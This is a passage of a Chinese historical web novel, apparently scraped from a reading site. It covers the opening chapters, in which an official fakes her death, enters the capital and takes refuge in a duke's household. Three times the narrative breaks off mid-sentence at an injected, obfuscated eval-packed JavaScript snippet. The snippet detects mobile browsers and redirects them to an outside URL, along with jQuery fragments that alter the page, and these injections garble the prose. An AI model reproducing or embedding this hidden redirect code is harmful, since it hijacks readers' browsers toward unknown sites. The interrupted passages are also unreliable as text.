《想当寡妇表兄不同意》 1. 劫后余生 义冢，残莺怪木，幽蹊鬼火。 阴风阵阵，裹挟着呜咽声，席卷着天地，掀起一具具尸身的衣袂，溜进裤腿，剥夺一时安寝，在鸮啼鬼啸中，两小厮抬着一具尸身，怨怼声起。 “这水参议何须如此不留老爷情面？如今落得个死无棺椁的下场，不过老爷仁慈，留了体面，今把他葬了。” “快些走吧，还须去复命，这晦气地不宜久留。” 两小厮将尸身协力置于坑中，许是往日偷奸耍滑惯了，只用锸挖了几下，便匆匆离去了。 尸身身着绯袍，袖口处的云雁炜烨流光，皂靴沾上泥土，若小厮有心，便会瞧见手指正轻颤着。 虽是无名冢，但尸身非孤魂野鬼，乃是当今布政使司左参议，水断栩。 “不，不……” 待水断栩悠悠转醒时，口中呢喃着，惊觉自己周遭无光，身陷囹圄，偪仄的容身处令她滋生几分惧意来。 纵使自己早有预料，可本能迫使她挣扎，挪动身躯，欲大声疾呼，开口却不遂人意。 “啊……啊……” 嘶哑声传出，假死丸的药害未过，她无法出声呼救，好在四肢尚可活动，抬手触碰着顶，土簌簌落下。 并未困于棺椁，看来尚存生机，许是上苍也认为她命不该绝。 竭力稳住心神，水断栩一鼓作气，一只素手势如破竹般，穿过泥土，与清气交融。 “淅沥沥！” 待她爬出，恰逢雨泠泠，淅零淅留，浸湿了她的衣衫，素手残存着泥土，青丝垂下沾在面颊，挡住眼睫，活脱脱一个厉鬼。 “郎君，郎君！” 有声音适时从远处传来，混淆着雨声，来至她身旁。 下一瞬，面颊传来温热，触碰杂糅着风雨飘洒，黏连的青丝被拨开，水断栩看清了来人，正是自己贴身女使，玉盘。 相比于自己，玉盘更似厉鬼，血腥味弥漫着，十指似受过拶刑，身上亦有鞭痕，置身于雨中，殷红爬上衣衫。 望着眼前人泪眼盈盈，呜咽难言，水断栩抬手又落，惧扯到她的伤口。 千言万语，终究化为雨，渗进壤里。 “不准他们会折返，先寻个山洞暂且避着。” 待将一具尸身推进坑中掩埋，二人彼此搀扶着寻路，幸而有萤火微光照亮着。 山洞幽静深邃，二人燔柴御寒，水断栩从腰间取出药瓶，细细敷在玉盘伤口处。 闻得她轻呼出声，水断栩念起，玉盘素来爱美，又善做女红，乏味的时日见她绣些花鸟鱼虫，亦算趣味。 可如今玉盘是否能捻起绣花针……念及此，愧疚舔舐着心间，她轻声开口道。 “是我之过，他们为失修案冲我而来，合该我一人经受，却累及你受伤。” “郎君勿自责，奴婢，安之若命。” 闻言，水断栩唇瓣翕张，眸光相接，玉盘颔首以示安抚，她偏头，继而落在一旁包袱上。 包袱散开，显出层层裹住的布裙短衫，她走近拿起，青色衣衫灼灼眼目。 “今日后，再无水参议，只有水娘子。” 静夜沉沉，浮光霭霭，冷浸溶溶月【注1】。水断栩换上了女子服饰，守在野火旁。 野火生生不息，她澄思寂虑时，眼前浮现今日驿馆之事，原本，她们明日便可抵京。 查验无误的勘合，大张旗鼓的恭迎，皂角水皆除不去的毒黵……许是自打她踏入驿馆大门处，生死即定。 据《大璞录》所记，长祚四十六年，山雨县霪雨霏霏，洪潦泛滥，江涛怒涨，堤决坝溃。帝大惊，敕有司勘决堤之由，途中所见，哀鸿遍野，饿殍载道。上大怒，敕有司:“必究决堤之故，毋得包庇！” 水断栩此番进京，一是为失修案，二是为自身所虑。 自己只是个参议，可定罪论刑是不分轩轾，失修案并非天意，定是有人推波助澜，不然，她今日遇害该作何解释？ 想来明日，她身死一事便会传开，算上她，这是查失修案遇难的第三人，京城定议论纷纷，引得哗然。 不准奉命的第四人，正在甄拔中，而自己，许是一枚试探的死棋。 水断栩掂量着自己手中的碎银，如今，世上再无水参议，她只可进京投奔祝国公府了。 她算得上国公府远房旁支，可两家几近素无往来，此番贸然前去，她是在赌。 赌自己与国公府二娘子八分相似的容颜，是或不是可引去他们眸光，从而进府借住，为自己博得一处可栖之地。 水断栩尚年幼时，随爹娘去过国公府，为二娘子祝寿，亦是在此时，她才知世上有如此相像之人，年岁渐长后，随之入京赍礼的婢女归，亦是如言。 她知晓，别无他法。 “娘子，该奴婢值守了。” 玉盘不知何时醒来，将她从回忆中扯出，水断栩闻言走近，素手触碰到藁垛的一瞬，感知到余温，莫名令她安心。 躺在藁垛上，洞内空谷足音，春华微绽，风乍起，水断栩阖上眸，徐徐入梦。 梦中，上一瞬她见江翻海沸，淹没田地，下一瞬她置身于粥棚，见黎庶苦不堪言，他们穿着破衣烂衫，啜着官廪，不知何人发现了她，霎时间呼天抢地起来。 "为官不察，累我等若斯！" “为官不察！” “……” “娘子，娘子？” 一道道呼号如潮水即将淹没她时，耳畔传来熟悉的声音，水断栩倏然睁眼，映入眼帘的是玉盘关切的眸，她正晃着自己双肩，试图将劫后余生的水断栩唤回当前情形。 东方欲晓，不知玉盘守了多久，水断栩双眸渐渐恢复清明，她瞧见玉盘沾血的衣裳，瞧见玉盘敷着草药的十指，猝然起身，拉着玉盘衣袖，背起包袱便往京城方位而去。 可玉盘巍然不动，眸中的忧思更深了，迎着她不解的神情开口道。 “娘子，进城需路引或勘合，如今您的身份如何能进城？若被发现，判为私渡关津，可是会受杖刑。” 水断栩闻言，用指尖轻戳下玉盘的额角，拿出路引道。 “玉盘，你忘了，水家还有个早已远嫁的娘子？” 若非爹娘未解决此事，她今日倒成真无身份的孤魂野鬼了，如今，曾经棘手遮掩之事成了自己唯一后路。 义冢位于远郭，二人不知走了多久，不带停歇地终是赶到了，已是碧霞笼夜。 “路引拿出来查验！”城门处，差役正一个个查验着，眼见着快查到水断栩。 “为何这路引只有半印？是何衙门所批？敢私渡关津？带走！” 说罢，不顾喊叫，兵马司的差役便将人拖了下去，哀嚎声引起身后人面色惨白。 接下来二三人皆安然无事，轮到水断栩了。 “原是水参议的妹妹，速速放行！”差役见路引，顷刻间堆起笑，侧过身让她通过。 “且慢！既是回京探亲，为何身上有血迹？” 一城门吏猝然开口阻拦，不顾身旁人眼色，毅然挡住她的去路。 水断栩回眸，示意着玉盘勿要慌张，继而从包袱里取出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955508|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野鸡，举在城门吏眼前，解释道:“念着亲力亲为，适才捕野鸡沾了血，不知门吏大人可能放我走？” 见她有缘由，城门吏遂不再追问，二人终是得以进城。 跨进京城的刹那，二人皆长舒一口气，水断栩一个趔趄，险些摔倒在地，她脸色已是不好，却仍反握住玉盘双手，以示安抚。 “幸而娘子有远见，事先逮了只野鸡，如今可还好？” “我无事，玉盘，我们去换身新衣裳。” 经打听，受了几回白眼，终是有阿婆为她们指明了衣裳铺子，二人循着指引，来到了落春坊铺门口。 方踏足此处，一牙婆便款款上前，开口便是通财鬻货。 “小娘子可是要添置衣裳？刚到一批苏绣料子，价格公道，可要……” “只要两套素色襦裙。” 水断栩面色如水，打断了牙婆热情吆喝，后者面色一凝，转而去唤掌柜。 良久，她觉着双腿些许酸麻时，牙婆才不疾不徐地走来，语气满是不耐。 “掌柜允了二两银子，娘子若合意，便就此应下。” “二两？你当我家娘子从未置办过衣裳？如何能值这价钱！” 玉盘闻言，不顾伤口亦要扯着嗓子同她理论，这摆明是因娘子未添好料子，自己少赚了银钱欺人！ “你这女使倒是忠心，可这价钱就是如此，难不成你家娘子还能私会外男不成？” 牙婆得意之色未褪，水断栩便阔步上前，径直走向店内伙计，途径牙婆身旁时，有意擦肩而过，留牙婆惊诧。 “你这小娘子，连名声都不顾了！” 牙婆见她真寻来掌柜，转身欲走，却被玉盘挡住去路，见状嚷道：“二两银子我不要了，区区小事，何须惹得众人不快？” 水断栩交涉一番寻得掌柜，掌柜闻言疾步上前，开口叱骂道：“你这黑心牙婆，分明一两未有，何来的二两？” 牙婆见事情败露，还欲遮掩，可围观百姓愈来愈多，事态逐渐失去掌控，人群中起了窃窃私语声。 “这牙婆素来欺压人惯了，就该扭送官府！” “她上回诓骗我娘子买了料子，结果一洗就褪色了，就该惩治她一番！” 此番话牙婆统统听了去，知晓这回碰到硬茬，她只好胁肩告饶道：“娘子，是我利欲熏心，竟想来诓骗您，向您赔个不是。” 水断栩未予她个眼神，转首对掌柜明说道：“掌柜的，您也瞧见了，此人是惯犯，若您不为所动，届时遇见真正的硬茬，她一口咬定你们二人勾结，那便棘手了。” “是，是，娘子言之有理，你们两个过来，将这牙婆扭送官府！” 掌柜闻言，即刻吆喝着小厮，将牙婆押走，水断栩则是取了两套襦裙，付了银钱，走到牙婆身旁低语着。 “你错了，名声是最虚无的物件。” 身后牙婆喊叫着，可她已然无心理会。 二人先是寻了个隐蔽处，将襦裙换上，继而将沾血的衣物丢弃，此时月明星稀，夜幕已然降临。 离开落春坊时，问询过阿婆去国公府的方位，此时正行在路上，水断栩取出怀中玉佩，抚摸着上面的纹路，尚有余温。 此玉佩是她自证身份的凭证，若非趁爹爹醉酒时拿走，她今日真该走投无路了。 正思忖着，玉盘声音在耳畔响起。 “娘子，您听，前面有争吵声。” 水断栩收起玉佩，垂下眼睫聆听着。 “我可是祝国公府的人！你一乞儿也敢惹我？” 2. 初来乍到 二人循声望去，一小厮打扮之人正咒骂着，将一乞儿的面颊碾于地，许是犹嫌不够，夺走乞儿手中的吃食弃之，馍馍滚落着沾上了尘土。 水断栩十指紧握，直至骨节泛白，她在犹豫是否要出手相救。 她并非侠肝义胆之辈，不救亦情理之中，可如若救了，不准能借此事握住把柄，继而让他领自己去国公府门房，从他口中套出祝家人行踪亦未必不能。 念及此，似是利大于弊，遂她阔步上前，制止道:“且慢！仗势欺人算何本事！” “何人逞英雄！我可是祝……？” 小厮正欲大发雷霆，却在回眸看清眼前人容貌时，顿时哑口无言，眼眸里嚣张渐渐褪去，取而代之的是惊诧。 小厮反应在她意料之中，看来并非初来乍到，水断栩徐徐上前，掏出玉佩，开口道。 “不知国公府旁支可否入得了你的眼？依你方才所言，你是国公府的人，不知他们若是知晓你仗势欺人行径，是否会惩治你这刁奴？届时被赶出去，可真是呼天抢地皆无法了，按《大璞律》，你这等做为，是何下场自己清楚！” 小厮身子渐渐矮了去，眸中惊诧转变为惊恐，不断求饶道:“只要娘子留小人一命，小人从今往后必定不敢如此行事！且……小人必当结草衔环以报。” “既如此，你且先领路去国公府。” 水断栩并未将他的话放在心上，方才她尚存一丝救人之心，适才忘了，一欺软怕硬之人，想来诺言也是媚上欺下，今日她威胁，不准明日他便报复回来。毕竟，小人难养，近之则不逊，远之则怨。【注1】 可若不如此，再梦灾民时，再梦流落街头的乞儿时，她又该陷入梦魇了。 今日此举，只此一回，毕竟自己尚且处境艰难，水断栩在心中暗暗告诫着自己。 正欲转身离开，却险些一个趔趄摔倒，她垂下眸看去，原是方才被殴打的乞儿，此刻攥住她的衣袂，不肯松开。 他眸中脆弱下藏着点点星光，直直望向水断栩，唇瓣翕张却不吐一言。 “放手。” 时辰紧迫，她俯下身将衣袂从桎梏中抽离，见眼前人十指顺势松开，她彻底扯出衣袂，转身迎着浓浓月色离去了。 行在往国公府路上，小厮正絮絮叨叨，同她们讲起今日自己因何入夜在外晃荡。 水断栩偏首，瞧见玉盘面容极尽认真之色，甚至颔首附和着，便知晓她并非发觉自己中计了。 “站住。” 水断栩掏出被磨得锋利的匕首，迸发的寒光照着从小厮项到颈，抵住他脖颈。 “怪道两草犹一心，人心不如草【注2】，你说，我若声称你为逃奴，杖八十，你可受得住？最好安常守分些，刀剑无眼，难免会伤着。” 方才她读出乞儿所言，“危险”，是以她起了警惕心，瞧见小厮领的路愈来愈黑，知晓自己中了圈套，幸而自己有匕首以防身。 说罢，水断栩感知到眼前人身躯颤抖着，求饶声显得格外刺耳，遂稍稍用力，将匕首抵得深了些。 许是惧怕，余下路途小厮缄口不言，脚下生风，直至见了不远处灯火通明，才顿足。 “二……二娘子，国公府到了。” 水断栩抬眸望去，即使夜色掩盖，也难抵其气派，鎏金铜钉镶在朱红色大门处，两侧护院与两尊石狮一同眸光散发着凌厉，匾额几个烫金大字彰显着肃穆。 大门处一身着长衣的男子来回踱步着，据小厮所言，这便是国公府管家。 “你且先同管家道明我来意，余下的事你统统不用管。” “是……是。” 小厮听命地走至大门处，亮出腰牌，继而附在管家耳旁言说着，水断栩瞧着他的反应，正合她意。 “您是……” 管家匆匆涉阶而下，提着灯笼，光照亮她面颊，露出容貌时，管家竟一时怔然。 “小女子姓水，家父曾任绽翩知府，今绽翩山雨县起洪涝，家中亦遭难，特来投靠。” 话毕，水断栩被领进门房静候着，坐下后，她阖上眸得一时安神，玉盘则是起身不断踱步着，频繁脚步声令她些许烦躁。 “玉盘，这般浮躁，让夫人瞧见总是印象不好的。” 噪声轻微了些，她复阖上眸。 靥星临窗，凉风习习，不知候了多久，耳畔倏然响起马蹄声与安车辘辘声，她顺势睁开眼。 “恭迎世子归第！” “世子回府——” “嗒嗒嗒。” 世子？祝见粼？ 水断栩心起疑惑，起身朝外走去，欲窥见其中一二。 方掀开帘子，脑袋将将探出，映入眼帘的先是一双皂靴，再往上，是墨青色素缎直裰一角，继而是绛带束腰，羊脂玉高悬系在腰间，清气间糅合了袖间香气。 “你是何人？” 男子声音越过头顶传来，不含一丝情绪，冷冽如刀。 她抬眸，顷刻间撞进一双如墨的眼眸，四目相对时，檐下铜铃摇晃，声音竟比鼓声还响亮，月光亦倾洒在身上。 二人眼底皆一颤，水断栩率先回过神，挺直身子，开口解释着自己是国公府旁支一事。 话罢，她垂下眸，直直望着自己足尖，瞧着沾染的泥土，不禁懊恼，方才就该买一双才是。 “我知晓。” “嗯？” 方才眼前人声音过于微弱，更似自言自语时的呢喃，让水断栩听不真切。 她还未问出一二，声音复起。 “粼儿？夜深露重，你在此作甚？” 粼儿？能如此唤世子，想来是国公夫人，陶氏陶访雪了。 人未至，声先至，声若秋潭落珠，闯然入目便是绣着岁寒三友的月白衣袍，眸光上移，眸若点漆，眼尾伴有细纹，陶氏偏过头，眸光相接的刹那，水断栩瞧见她眸中的惊诧，继而泪眼婆娑。 陶氏抬手，轻轻抚上她的脸颊，举止慎之又慎，水断栩则是屏声息气，生怕鼻息扰了气韵。 二人执手相看片刻，陶氏不语泪直流，罗帕攥紧捂在胸膛处，许是情绪起伏太大，险些往后倒去，若非水断栩眼疾手快扶住，怕是已摔倒于地了。 “多谢，”一旁祝见粼不着痕迹地扶住陶氏，继而开口道，“二妹故去已久，母亲难免受了刺激，望表妹见谅，随后我会遣女使送你去住处。” 入望，他已吩咐好随之而来的女使，女使领命将陶氏扶回屋中，几人身影远去。 环视周遭，正目眩神摇之际，一女使匆匆赶来，双手捧着月衣，送至她眼前。 “春寒料峭，夜里风紧，娘子先披上吧。” 水断栩心中不由慨叹，国公府到底不能跟绽翩相比，女使都如此细致入微，此一边披上月衣，彼一边迈开步子随之去往院落。 穿过三重仪门，每过一进，景色便深几分，海棠花瓣飘落，如雪般簌簌，继而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955509|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是抄手游廊，穿过后登上木桥，桥下活水汩汩流淌，引路的女使一转，入目是一月洞门，灯笼映照着“青塘苑”三字。 “娘子且在此处歇息。” 女使说罢，便福身离去了，不多一言。 院内甬道青石遍地，绵延到正房前的桃树，桃花薿薿，随风吹落，落到水断栩的肩头，引着她去起居室，掀开竹帘，入目月牙桌上，妆匣甚至备好，一旁摆放着瓷瓶，瓶上粘着字条。 “不见惄？” 水断栩上前捧起瓷瓶，忽地念起，今日途径药局，闻此药千两得求，乃是治手伤的良药。 如此，玉盘双手恢复便不是难事。 不过，何人瞧见玉盘伤势？何人所赠？陶氏亦或是世子？此药珍贵，她应去拜谢才是。 “千两药？抵得上娘子为参议时，十年年俸了！” 玉盘惊叹着，小心翼翼捧起瓷瓶，生怕摔了碰了，言语却惹得水断栩蹙眉，她掩其口，沉声道。 “绽翩种种，皆不得再提，后果你我都承担不起。” 见玉盘连连颔首，她适才松手，方放下瓷瓶，“咔擦”一声响起，引起二人警觉。 “何人在此！” “是……是夫人遣奴婢们来……来伺候娘子沐浴……” 水断栩疾步上前，推开紫檀门，素手放在棂花上，果真见两个女使站于垂花门不远处，正胆怯地不敢抬头。 她却未出声斥责，眸光不断地在二人之间流连，气韵就此沉寂。 玉盘亦听到动静，本欲叱骂，却碍于水断栩未曾开口，不得僭越。 遂一同望着二人，两女使脑袋越埋越低，几近佝偻着腰背，片刻，终是一女使忍受不住，伏地开口道。 “娘子，我们確为将将走进院落，因皆不悉娘子起居习惯，遂……遂不敢随意示意，磨蹭了些。” “奴婢所言千真万确，并无僭越之心。” 水断栩先是不语，听二人你一言我一语请罪，良久，才淡然开口道:“起来吧，再耽搁，怕是要东方欲晓了。” 闻言，两人连忙起身，趋步跟上。 三人进了香汤房，沉水香弥漫屋内，纵使是狸奴闯进，皆要沾上一身香才允离开。 女使持梳篦梳散发髻，正要为其宽衣解带时，却被水断栩按住。 “你们在一旁候着，我自己来便好。” 水面浮着檀香木片，屏风阻隔着氤氲，薰笼亦备好。 二人面面相觑，欲言又止，却只唯唯听命般站立一旁。 水断栩所言非虚，昔年为参议时，她皆是亲力亲为，已然成了难以摆脱的习惯。 抚上肩上的谶花图案，持着盆舀汤淋上，图案竟化入水中，与花瓣相融。 风乍起，从窗棂处溜进，将水断栩勾去香闺。 水断栩着纱罗寝衣，于香闺榻上辗转难眠，终是起身，唤着玉盘。 “玉盘，你明日起，试与她们相洽，徐叩其辞，窥祝家人所喜所恶，总归备之无患。” 她吩咐完，忧烦顿消，拥衾而眠，入黑甜之乡。 梦中，她回到稚儿时，坐于一小郎身侧，小郎正嚎啕大哭。 水断栩何时哄过孩儿？思忖再三，抬手欲轻拍其背，却在靠近的刹那，一切化为虚无，连同小郎哭声也消失了。 翌日，晨光微熹时，水断栩徐徐睁眼，便听急匆匆脚步声。 “娘子，世子在垂花门外候着您。” 3. 遇风波 闻言，正惺憁的水断栩蘧蘧觉寤，瞿然惊起，漏刻正滴答作响，已然辰时初。 “坏了坏了，晨间问安我竟全然忘了！” 她霎时间明了祝见粼来意，原是自己耽搁了问安，玉盘亦慌慌张张起来，漱口茶水竟拿成了澡豆，继而梳头女使赶来，梳起桃花髻，涂胭脂、画眉、点唇…… 终至换上交领袄裙，从妆匣取出白玉兰花簪，晨妆毕。 双手叠交腹前，云履急趋，她瞧见祝见粼在不远处伫立，眸光落在自己身上，瞧不出喜怒，待走近他时，水断栩福身道礼。 “表哥万福。” “贤妹同福。” 声音冷冽，令人捉摸不透他的情绪，因自己耽搁在先，水断栩惭怍无言，二人一前一后走至陶氏院落中。 女使正垂首，在萱堂前的石阶处洒扫着，见他们来了，领至廊下，自己则是去禀告夫人，廊下鸟儿正啁啾清啼，衬得院落气韵静谧。 “祖母去寺庙祈福了，一时半会回不了府。父亲上朝还未归。” 正候着陶氏通传，一旁的祝见粼倏然开口提及此事，令她一时如盲者扪象，唇瓣翕张，却吐不出一言。好在女使适时赶来，二人得以进萱堂。 入目便是陶氏坐于主位，锦垫半旧，身后屏风上山水尽染，案上花香弥漫着。 待祝见粼问安后，她双手提裙，屈膝道:“给姨母请安，恭问福寿康宁。” 二人侍立一旁，陶氏握住她双手，任谁来看，皆是一副疼爱模样。 水断栩与之四目相对，眸光相触时，她分明得见，陶氏并非望向自己，想来便是那故去的二娘子。 一阵嘘寒问暖后，陶氏念叨着应遣些女使和内院护卫于青塘苑中，一旁的嬷嬷会意，取来仆役册，记载着出身、月例、职责。 “栩儿不妨一同来瞧瞧，遣些婆子负责巡查，刘嬷嬷往后便贴身跟随……至于外院随行小厮……” 水断栩看去，选家世清白亦或是家生子便好，可册上此类人实属多，一时无法抉择。 见陶氏蹙着眉，许是也苦恼，遂她言道：“姨母，栩儿以为，几冬很合适。” 几冬，便是领她去国公府的小厮。 小人难防，置在眼前，才能顺心一二。 几冬一事被应允，道了几句体己话后，她便离开萱堂。 回了青塘苑，刘嬷嬷领了些人来，有二等女使，亦有粗使女使和婆子，众人垂下眸，听候吩咐。 水断栩不禁犯难，自己为参议时，何时管过此等事？就连今日礼仪，都是在绽翩时请人教习，大璞不允蓄奴，她自然无多少奴仆伺候，眼前众人，不是家生子就是雇工，倒是于法合理。 “我不甚熟悉国公府，由刘嬷嬷先吩咐你们罢。” 众人闻言，睽睽交瞩，终是唯唯听命。 水断栩得了闲，躺在凉榻上，已是暮春时节，还带着些许凉意，遂裹着丝衾。 待众人洒扫忙活后，已是霞帔夜天，酉时该去问省。 此回，她见着了祝国公，祝迴。 面容倒不是慈眉善目，相反，坐在主位上，不怒自威，乌纱翅随风轻颤，绛紫色圆领缎袍上系着銮带，正啜着茶水。 “恭请姨丈晚安。” 话罢，却迟迟未有回应，气韵陷入沉寂，无一人敢忤逆国公的威严，陶氏欲言又止，却被阻拦。 良久，待水断栩双膝酸麻时，才闻得祝国公开口。 “起来吧，你便是昔日绽翩知州之女？夫人的远方表亲？” “正是。” 待她答话后，与此前不同，祝国公先是轻嗤一声，后戏谑道:“水家倒是人才辈出。” 水断栩知晓他所言指的是父亲，失修案一出，父亲同僚被牵连皆下诏狱，而父亲因能攀扯上国公府，圣上只免去他的知州之职。 论昔年自己，自己为参议时，亦算不得全然是清官，且并未有所建树。今日玉盘去市肆走动时，听闻了她的“死因。” 世人皆道水参议死得荒唐，绘声绘色描述她醉死榻上，活脱脱一个酒徒。 此等由头，世人自是不齿，祝国公亦是如此。 而如今自己为水家女，“兄长”逝世，她却不为其斩衰三年，反倒投奔国公府享荣华富贵。 是以，水家確为人才辈出。 “谨记，这世上一个失了夫家庇护的女子，连自己爹娘亦不算归宿，今日你沾上国公府门楣，全依夫人不忍之心。” 是了，她险些忘了，自己这远嫁又寡妇的身份，一切编撰全凭自己的好爹娘。 水断栩侍立一旁，自知毫无资格驳斥祝国公一番话，除非，她能寻到旁的归宿。 遂，只能缄口不言。 因，无人会向着她。 “爹爹，爹爹！” 倏然一道稚嫩的声音响起，击穿沉寂，一梳着双螺髻，缀着金丝的稚儿闯入，径直行至祝迴眼前。 “翩儿今日可学得什么？同爹爹讲述一二？” 祝迴顷刻间翻云覆雨，换了面孔，稚儿被捧起面颊，开口道。 “夫子教，古语道，无奈被些名利缚，无奈被他情担阁！【注1】” 闻言，气韵再度静下来，鸟啼声嘹亮，显得格格不入。 此事终至因稚儿一句话姑置，对水断栩的指斥暂且停息。 可一事令她不明了，稚儿身后必有他人推波助澜，借其之口为自己脱身。 她初来乍到，何人会相助？ 思忖一时失了神，直至有声传来，她才猛然止住脚步。 “哥哥，你为何要翩儿说那句？翩儿当时生怕背错了说错了。” “为兄……只是教你一句诗罢了，父亲知晓你学识至此，也会为翩儿忻愉。” 海棠旁，祝见粼同方才的稚儿在谈话着，话语一字不漏让水断栩获悉了去。 “忻愉？可是爹爹今日面色不太好……” “咔擦！” 本欲再听多些，何人料得弄出了动静，既被发现，她只好现身。 方才还笑意盈盈的祝见粼，看清来者何人后，笑意褪去大半。 而一旁稚儿见了她，有一瞬见得生人的惊诧，继而介自道。 “我名唤祝在翩，想来你便是……唔……” “舍妹年纪尚小，该早些就寝，先行一步了。” 祝见粼不知在遮掩什么，一旁的祝在翩被掩了口，继而被拎起，眼见着兄妹二人要离去。 水断栩忽地念起瓷瓶，忙不迭出声道。 “表哥留步！昨所赠的不见惄，表妹在此谢过。” 她眸光落在二人身上，祝在翩挣扎着要脱离桎梏，一副知情之态，祝见粼则是竭力镇静，可还是带些磕绊。 “表妹误会，不见……不见为何物，我一概不知。” 此回，兄妹二人逃之夭夭，消失在她目之所及。 若为陶氏所赠，今日问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955510|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安时，合该问询药效，可陶氏只字未提，犹如毫不知情般。 分明是他所赠，有何不好承认？ 水断栩百思不得其解其动机，直至走回青塘苑，亦未能琢磨出祝见粼之心。 “娘子，娘子！” 玉盘匆匆行至她眼前，不由分说便拉着她衣袂朝木桥走去。 再三张望，確四下无人后，玉盘才娓娓道来自己获悉之秘辛。 原祝芳归逝世时，还未及笄，众人是在池塘旁寻到她的尸身，当时贴身女使说，是二娘子一时嬉闹跌进水中，自己并不会水，待救兵搬来，二娘子已溺亡。 此事后，陶氏日日以泪洗面，几近肝肠寸断，此事便成国公府禁忌。涉事女使因怠忽离次，杖打几十，当场便无了气息。 陶氏经丧女之痛后日渐消沉，国公遂下令，与二娘子有干系之物之人皆不允在国公府。 “怪道姨丈连薄面皆不予我……光论容貌，我与二娘子皆不能另当别论……” 被指斥一事传遍阖府上下，待水断栩回院中时，众人已不如白日里恭敬。 方才还未跨过门槛时，她便听见有女使正央求着刘嬷嬷调离。 “刘嬷嬷，您往日待奴婢最好了，便允了一回罢，今日老爷如此动怒，往日我们不准被旁的女使轻视。” “是啊刘嬷嬷……” “是啊……” 众人叽叽喳喳声戛然而止，涉事人正站立在她们眼前。 那几个女使手忙脚乱地洒扫着，纵使石阶几近无尘。 水断栩环视周遭，继而转首对刘嬷嬷语道:“劳烦嬷嬷，将那几女使的名告知于我，我明日便将此事与夫人道明，好遂了她们愿。” 或许有求情，或许有哭喊，她阖上眸，与周遭隔绝，待声音因拖拽愈来愈远，她才徐徐睁眼。 “若是还有人要弃主离开，恕不远送。” 众人散去，可此事尚存怪异之处，据刘嬷嬷所言，在她心中应是小人的几冬，却一声不吭。 碍于男女大防，问询一事暂且搁置，只待明日了。 入夜，水断栩却难以入眠，心旌摇曳着，隐隐感知到，似有事发生。 从窗棂外窥去，苍穹一如往日，并无什么不同，仍旧月明星稀。 索性无事，她坐在床榻上，回忆着玉盘告知的今日所获。 玉盘今日寻了几个年纪尚小的家生子，一顿威逼利诱，她们便把知情之事皆往外说。 言到几冬时，她们更是争先恐后地诉说，道夫人院中有个女使，名唤期儿，与几冬有首尾。 “有首尾？若是被夫人发觉，可是要挨板子逐出府去的。” “玉盘姐姐你有所不知，这期儿是夫人身旁贴身女使，几冬则与管家沾亲带故，庇护着呢。” 试探到此便了，困意恰好袭来，水断栩酣然入梦。 “娘子，不好了！几冬他……他死了！” 不知是几时，水断栩便被晃醒，正迷糊，此事如当头一棒，令她猝然清醒。 “几冬尸身已被葬入义冢，死因奴婢尚且不知。” “管事妈妈呢？无对牌怎可夜间外出？门房处定有记……” 方才迷迷瞪瞪，她竟忘了，自己是寄人篱下，何来资格去调册子？ 望着窗棂外晨光倾洒，水断栩念起需问安，正走近陶氏所居溪光居时，却听见院里传来一声声惨叫。 “敢有私情？杖二十再停！” 4. 遇疑团 私情？水断栩窃得此言，一凶念陡然蔓延在心间，指尖触碰到一旁青砖上，严丝合缝，竟无处令她逃匿。 “期儿，你此举败坏家风，理应杖八十，可夫人慈悲心肠，只惩处你杖二十，且夫人金口玉言许诺，待几冬归府，便许你二人婚配。还不快谢夫人救命之恩？” 字字落尽她耳中，应证了心中凶念，果真是期儿，可替陶氏所言者，只初为陪嫁女使的李嬷嬷一人，她阖上眸，脑海却是李嬷嬷颐指气使之态，耳旁是竹板击在皮肉上之声，竹板许裹着铁皮，许嵌着倒钩，许……不携一物。 她欲扪耳不闻，素手掩住时，倏然手腕上受一股劲力所掣，迫使她睁开眸，并作身转，眼前一阵天旋地转后，才复得清明。 入目便是祝见粼嶒冷的面容，仍孤松负雪，仍拒人千里之外般。转眸，眸光落在手腕上，五指弓蛇隐茧，正捉着腕，见她看去，才松开。 扼腕留痕，水断栩瞧着指痕，还未问询此举动机，便有声传入耳中。 “望夫人璧还前诺！” “你休要不识抬举！夫人不念旧恶，已是极大恩赐！” 声骨鲠在喉，似是哽咽之言，却字字有力，穿过青砖黛瓦。心中忽地撼动，令她险些要闯进二门，若非祝见粼话语适时响起，她已然迈步。 “为兄正惧问安后至该如何，未曾料到表妹心善，特意候着，表妹此举之心意，为兄定不会辜负。” 非声若蚊蝇，亦非穿云裂石般，却足以令守门婆子听见，一旁懒怠的婆子看清来者，即刻面颊堆起谄笑。 “老奴这就通传，还请世子在廊下候一会。” “本世子可是有要事寻母亲，不知依你这婆子行事，往后问安，还需写门单不成？”婆子忙不迭打躬作揖，口中连连言着不敢不敢，可祝见粼话还未完，“看来是拜高踩低惯了，主子皆不算主子了。” 